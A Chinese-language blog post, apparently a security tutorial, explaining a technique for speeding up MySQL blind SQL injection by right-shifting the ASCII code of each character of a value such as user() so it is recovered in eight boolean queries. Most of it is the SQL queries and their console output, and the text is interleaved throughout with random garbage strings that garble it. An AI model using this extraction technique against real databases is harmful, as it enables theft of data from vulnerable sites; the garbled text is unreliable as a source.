关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
- `/ `7 Q( L+ v8 S  @
% d) A0 D+ R3 _" g

8 G8 \7 p- i" f" n$ @- {下面将以查询mysql数据库当中user()的第一位为例:

2 r+ N  }  S: P6 J1 y; |2 L

% Y3 g+ o  ^! |- o1 T* Z0 Eps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



( c' @0 ^; `- D6 k( X5 h首先执行如下sql语句:
. {! O) o: L3 w5 R0 L

* X/ Z& m; [. F9 O& m
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

* c0 B4 j/ i) _% |! ]
! Y9 `) ?- q  A& w/ ~
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

! x' o# S7 m$ }7 ?( d+ R& x
- w& g: B  I+ W
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
  `+ j1 r9 o: `! x, `

) n$ Q" ^) W# _( W4 q2 ?
/ x9 K; }+ f# F7 t; V3 A  Y如果运算结果为1,说明第一位为0,不为1
( t) `6 N6 l, f! `; l1 O, N
. H. Y/ v: r) C0 f" G
5 a: q# l3 |# o
, ?: H$ f7 [) r# [2 t2 \' g6 P! t+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
; Y7 h& o- w  u$ a5 X! @7 j% s& r
+————————————–+

| 1 |
) b' S) b0 U6 e; W. |+ d8 T
+————————————–+
: P. X) T. e! [  r) X7 K0 A
1 row in set (0.00 sec)

* d, `! ^: v  A1 _( C/ Z这样我们就确定这个8bit的ascii的第一位为0
4 h9 y: m1 O$ E5 s; H& h7 D+ C
! }9 V/ ?. z/ T6 M8 A
' x% z" c7 b  M' u
第二次我们来做6次右偏移来确定前两位
( E2 k( q. W2 F0 A1 |* J


1 D- V4 n- X; f- T, H7 e前两位可能是01或00,即依然可以与0做比较,
! n, Z: T. N: e- |7 I
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
6 v0 j9 y4 A3 s; A8 h) b% C3 V, w5 m
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

4 F4 w; V! `' K| 0 |
: X/ g- U. c# Y6 X% \; l# }
' B, f% e2 c" H# J! I+————————————–+

1 row in set (0.00 sec)
$ t; A' \6 p% ^0 I) [+ c: D( ^
8 ^5 J) r+ V/ ^, V

结果为0,即第二位为1
9 ~4 }1 j0 g! u9 i5 w


开始猜测前三位为010或011
, ?* |8 ^3 z! x; g1 R: u

! j, S9 A. z9 C3 Y: A6 t6 @- T
7 l- z, x1 h' l% f让我们看看010和011的ascii码是多少
8 \+ b% E1 m+ E% f/ d

" {) \4 a( _* T* d) s( S
" l0 g3 P# l5 m6 S4 J分别查询select b’011′ select b’010′



获得结果 010 = 2 011 = 3


  N, t: {0 e: y9 k/ C
执行如下sql:

* l( b( S6 N& t% O1 R) J) v
1 z+ o/ }1 {, y1 c+ V1 u8 M
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
: b7 m) w8 y! A7 c4 C
| (ascii((substr(user(),1,1))) >> 5)=2 |

% X5 a$ p& c! v, h7 w: J+————————————–+
$ m; }# B; Z* L$ @7 ^
% g: ?. ^$ B- t4 N: [& Q* I2 M0 L| 0 |
7 Y7 t3 j% ?+ ?
2 b1 z0 ^3 \1 Q  c7 [( r+————————————–+

* C) b' b  y. b- I即前三位不为010,而是011



. U( F9 n, N& R. y* X  }直到获得最后一位



) D: C, E+ w/ D2 `最终结果为:01110010

; _- j* r% X/ T  ]

转换一下:
, Q. y7 i" B  P) b8 c1 e


select b’01110010′
! r! A  |1 a8 t0 n2 X) i6 c; z

* Q/ x# q) F" o1 ?( T* E
9 K: J& d4 P# R9 X' B+ g0 r查询结果
" \  r' L6 {8 z

! W% l3 V! a( r, h3 z% _* {
+————-+

| b’01110010′ |
/ `6 a8 [. b2 S. O
+————-+

7 _' E# u# @% Y4 k# w| r |

; D8 E- C$ Z: o& S- H2 S+————-+

. C) s# ]+ y3 x0 D) c6 s1 row in set (0.00 sec)
( w" N; S# p: {  O, [
1 B9 s1 R4 d! y+ V5 n" m
" R6 g1 T9 G$ I" N' Z
# Y$ T7 |% _3 E% J$ _这样我们就获得了user()的第一位.其它位依此类推

  O# Q& F* @' L7 G8 i